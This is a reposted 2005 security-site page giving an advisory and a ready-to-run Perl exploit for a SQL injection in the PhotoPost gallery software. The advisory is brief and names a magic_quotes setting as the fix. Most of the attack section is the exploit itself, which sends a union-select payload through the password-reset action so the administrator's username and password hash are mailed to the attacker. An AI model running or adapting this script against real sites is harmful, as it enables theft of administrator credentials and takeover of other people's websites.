首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PhotoPost Arbitrary Data
来源:INFPG - Hacking&Security Research 作者:eric 发布时间:2005-05-19  

PhotoPost Arbitrary Data (Exploit)

Summary
PhotoPost is "a popular commercial image publishing software. Everyone loves showing off their photos! Add PhotoPost to your site, or let us install it for you,and your visitors will be able to upload their photos to galleries on your site and interact in photo discussions. Join the 3,500+ sites that are already using PhotoPost and add a fun new dimension to your website". A vulnerability caused by PhotoPost's reliance on magic_quotes allows a remote attacker to cause the program to execute arbitrary SQL statements with which a user can disclose the MD5 hash of the administrator password.

Credit:
The information has been provided by eric basher.

Details
PhotoPost (further on - PP) is built on a highly risky principle of filtering input data, based on magic_quotes:
magic_quotes_gpc boolean
Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all ' (single-quote), " (double quote), \ (backslash) and NUL's are escaped with a backslash automatically.

Turning magic_quotes on is neglected by a large percentage of PP users. It is a good idea not to rely on user interaction in the essential matter of data filtering and write nested procedures based on on the mysql_escape_string/mysql_real_escape_string functions instead. Adding a few native strings of code would have definitely fixed that "human" factor. Many users do not have any idea what magic_quotes is and what it is for and what their negligence will lead them to, even despite a warning PP gives while installing. If one were to look into architecture PP is assembled upon, it would become clear that PP should even not attempt to install itself on systems with magic_quotes turned off.

Solution:
Vendor was contacted. Upgrade to the latest version, or set .htaccess php_value magic_quotes_gpc 1

Exploit:
#!/usr/bin/perl
# PhotoPost Arbitrary Data Exploit
# --------------------------------
# INFPG - Hacking&Security Research
#
#
# Use first the exploit code,then You'll get admin MD5 hash and user name on your mail.
#
# Greats: Infam0us Gr0up team/crew/fans,Zone-H,securiteam,str0ke-milw0rm,addict3d,
# Thomas-secunia,Yudha,Dcrab's,Kavling Community,1st Indonesian Security,
# Jasakom,ECHO,etc..betst reagrds t0 whell.
# Info: www.98.to/infamous
#

use IO::Socket;

if (@ARGV < 3)
{
system "clear";
print "PhotoPost Arbitrary Data Exploit\n";
print "\n-------------------------------\n";
print "\nINFGP-Hacking&Security Research\n";
print "\n\n";
print "[?]Usage: perl $0 [host] [path] [mail] \n";
exit(1);
}

system "clear";

$server = $ARGV[0];
$folder = @ARGV[1];
$mail = @ARGV[2];

print "Connecting to host ...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "80"); unless ($socket)
{
die "Server is offline\n"
}

print "[+]Connected\n\n";
print "[+]Building string core..\n";

$stringcore = 'member.php?ppaction=rpwd&verifykey=0&uid=0%20union%20select%20"0", $mail, %20concat(username,"%20",%20password)%20from%20users';

print "Sent 0day..\n\n";
print $socket "GET /$folder/$stringcore HTTP/1.0\r\n\r\n";
print "Server Exploited\n";
print "You should check $mail now";
close($socket);



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows XP/2003 IPv6
·Mac OS X / Adobe Version Cue L
·procps vmstat p Argument Local
·Fusion SBX Remote Command Exec
·Linux kernel pktcdvd ioctl bre
·MS SQL Server Passwords Brutef
·Linux Kernel ELF Core Dump Pri
·Mozilla Firefox view-source: P
·Apache HTDigest Realm Command
·Mozilla Firefox view-source:ja
·Bakbone Netvault Heap Overflow
·Mozilla Suite and Firefox Scri
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved